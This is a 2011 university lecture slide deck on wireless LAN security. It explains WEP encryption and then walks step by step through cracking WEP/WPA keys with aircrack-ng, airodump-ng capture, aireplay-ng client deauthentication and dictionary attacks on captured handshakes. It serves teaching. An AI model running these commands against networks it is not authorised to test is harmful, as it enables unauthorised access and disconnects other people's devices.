460 likes | 706 Views
Wireless LANs 2011. WLAN Security: Cracking WEP/WPA. รศ. ดร . อนันต์ ผลเพิ่ม Assoc. Prof. Anan Phonphoem, Ph.D. anan.p@ku.ac.th http://www.cpe.ku.ac.th/~anan Computer Engineering Department Kasetsart University, Bangkok, Thailand. Secret Key (40-bit or 128-bit). IV. Initialization
E N D
Wireless LANs2011 WLAN Security:Cracking WEP/WPA รศ. ดร. อนันต์ผลเพิ่ม Assoc. Prof. Anan Phonphoem, Ph.D. anan.p@ku.ac.th http://www.cpe.ku.ac.th/~anan Computer Engineering Department Kasetsart University, Bangkok, Thailand
Secret Key (40-bit or 128-bit) IV Initialization Vector (IV) Pseudo-Random Number Generator RC-4 Key Sequence Cipher Text Bitwise XOR Plain Text + Integrity Algorithm (CRC-32) Integrity Check Value (ICV) WEP Block Diagram Secret Key (40-bit or 128-bit) IV WEPFrame Pseudo-Random Number Generator Key Sequence Plain Text Bitwise XOR Cipher Text Encryption Block Decryption Block Integrity Check Value (ICV) Integrity Algorithm Sender Site Receiver Site
Secret Key (40-bit or 128-bit) IV Initialization Vector (IV) Pseudo-Random Number Generator RC-4 Key Sequence Cipher Text Bitwise XOR Plain Text + Integrity Algorithm (CRC-32) Integrity Check Value (ICV) WEP – Encoding
Clear Text Clear Text Encrypted 4 bytes 4 bytes WEP Frame Frame Header IV Header Frame Body ICV Trailer FCS
WEP – Decryption Secret Key (40-bit or 128-bit) IV Pseudo-Random Number Generator Key Sequence Plain Text Bitwise XOR Cipher Text Integrity Check Value (ICV) Integrity Algorithm
Cracking Steps • Reconnaissance (Collect target info.) [kismet] • Run promiscuous mode [iwconfig, airmon] • Collect data [airodump] • Crack key [aircrack]
3 4 1 2 Regular Behavior Station 1 transmits to all (broadcast)
3 4 1 2 Intention to Eavesdrop Promiscuous mode Station 1 transmits to station 4
Promiscuous Mode Setup • By using iwconfig
Promiscuous Mode Setup • By using airmon-ng
airodump From Kismet
Airodump problem root@APMoose:~/toulouse# airodump-ng mon0 ioctl(SIOCSIFFLAGS) failed: Operation not possible due to RF-kill /dev/rfkill is “Linux ‘s Subsystem kernel for controlling radio transmisster (activated/deactivated)” anan@APMoose:~$ rfkill list 0: phy0: Wireless LAN Soft blocked: no software can reactivate Hard blocked: no software cannot reactivate 1: acer-wireless: Wireless LAN Soft blocked: no Hard blocked: no 2: acer-bluetooth: Bluetooth Soft blocked: no Hard blocked: no 4: hci0: Bluetooth Soft blocked: no Hard blocked: no Solve by: root@APMoose:~/toulouse# rfkill unblock all
aircrack • For non-encryption
Cracking Steps • Start the wireless interface in monitor mode on the specific AP channel • Start airodump-ng on AP channel with filter for bssid to collect authentication handshake • Use aireplay-ng to deauthenticate the wireless client • Run aircrack-ng to crack the pre-shared key using the authentication handshake http://www.aircrack-ng.org/doku.php?id=cracking_wpa
Start airodump-ng Moose# airodump-ng-c 6 --bssid 00:1E:F7:xx:xx:xx -w pskmon0
Start airodump-ng less parameter Moose# airodump-ng-w pskmon0
aireplay Moose# aireplay-ng-01-a 00:12:01:xx:xx:xx-c 00:23:11:xx:xx:xx mon0
Need a dictionary Moose# aircrack-ng –b 00:12:01:xx:xx:xx -psk*.cap
With dictionary Moose# aircrack-ng-w password.lst -psk*.cap
Handshake found http://www.aircrack-ng.org/doku.php?id=cracking_wpa
Successfully Crack http://www.aircrack-ng.org/doku.php?id=cracking_wpa